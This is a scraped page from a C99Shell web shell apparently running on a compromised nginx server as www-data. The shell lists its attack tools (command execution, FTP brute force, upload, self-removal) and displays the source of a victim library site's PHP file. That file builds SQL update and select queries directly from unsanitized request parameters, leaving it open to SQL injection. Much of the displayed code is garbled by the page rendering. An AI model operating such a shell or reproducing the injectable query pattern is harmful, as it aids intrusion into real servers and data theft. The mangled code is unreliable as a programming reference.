!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/   drwxrwxr-x
Free 83.33 GB of 96.73 GB (86.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     libro_modificacion2.php (2.74 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


  
if ($_REQUEST['sinopsis']){  
        
header ("Location: ./sinopsis.php?ID=".$_REQUEST['ID']); 
  }
?><head>

  <link rel="stylesheet" type="text/css" href="frames/nuevo.css">

<link rel="STYLESHEET" type="text/css" href="estilo.css">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>
<?
  
  $debug
=false;
  include(
"conn.php");
  include 
"../frames/classes/class.log.php";  
$desencripta=new encriptor;
$id=$desencripta->decrypt($_REQUEST['ID']);


$control= new control();

$anonimo=true;
 if (
$control->usuario<>"anonimo")$anonimo=false;  


$query2="SELECT *
FROM libros 
WHERE id='
$id' "

//40  
$rowsin=mysql_fetch_array(mysql_query($query2,$conn));


$diferencia=date_diff($rowsin['tiempo'],date("Y-m-d")); 
if ((
strtoupper($control->subgrupo)==="BIBLIOTECARIO"  or (trim(strtoupper($control->usuario))===trim(strtoupper($rowsin['correo'])) and  $diferencia <=20))  and  !$anonimo){





               
echo 
"<pre>";
  
//print_r($_REQUEST);
  //http://papyre.bplaced.net/frames

  

        
  
  

$autor=$_REQUEST['nombre'];
$titulo=$_REQUEST['titulo'];

echo 
"<br>titulo :";
echo 
$titulo=$_REQUEST['titulo'];


$genero=$_REQUEST['genero'];
$subgenero=$_REQUEST['subgenero'];
$anyo=$_REQUEST['anyo'];

if (
$_REQUEST['provinciaList']>''){
    
$queryx="select genero, subgenero from tipo where id_ajax='{$_REQUEST['provinciaList']}' and subgenero='{$_REQUEST['localidadList']}' limit 1";
   
   
flush();
$gen=mysql_fetch_array($resx=mysql_query($queryx,$conn));
$genero=$gen['genero'];
$subgenero=$gen['subgenero'];

  echo 
mysql_error();
}
 
 
 if (
$debug){
 echo 
"$genero$subgenero<br>";
 }

 
// subida de fichero
 
  
 

 


       
     

     
echo $error '<h1>Fichero subido correctamente.'.$fichero."</h1>"

   
     
$query="update  libros set autor=trim('{$_REQUEST['nombre']}'),titulo=trim('$titulo'),genero='$genero',subgenero='$subgenero', INFTP=1 ,anyo='{$_REQUEST['anyo']}',version='{$_REQUEST['version']}'
 where id='
{$id}'";

     
     
        
        
        
   if (
$debug){  echo $query;}
  
     
mysql_query($query,$conn);
     echo 
mysql_error();

     if (!
mysql_error()){
        echo 
"<br><h1>libro actualizado</h1><br>";
        
        
mysql_close($conn);
}
echo 
'<center><a href ="./tab/index.php"><img src="papyreicon.gif" WIDTH=32 HEIGHT=32></img><B>P�gina Principal</B></a>'



   @
mysql_close($conn); 
}


function 
date_diff($date1$date2){
       if (!
is_integer($date1)) $date1 strtotime($date1);
       if (!
is_integer($date2)) $date2 strtotime($date2);  
       
       return(
floor(abs($date1 $date2) / 60 60 24));
       
}  



















  
  
  
  
     
 
 
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--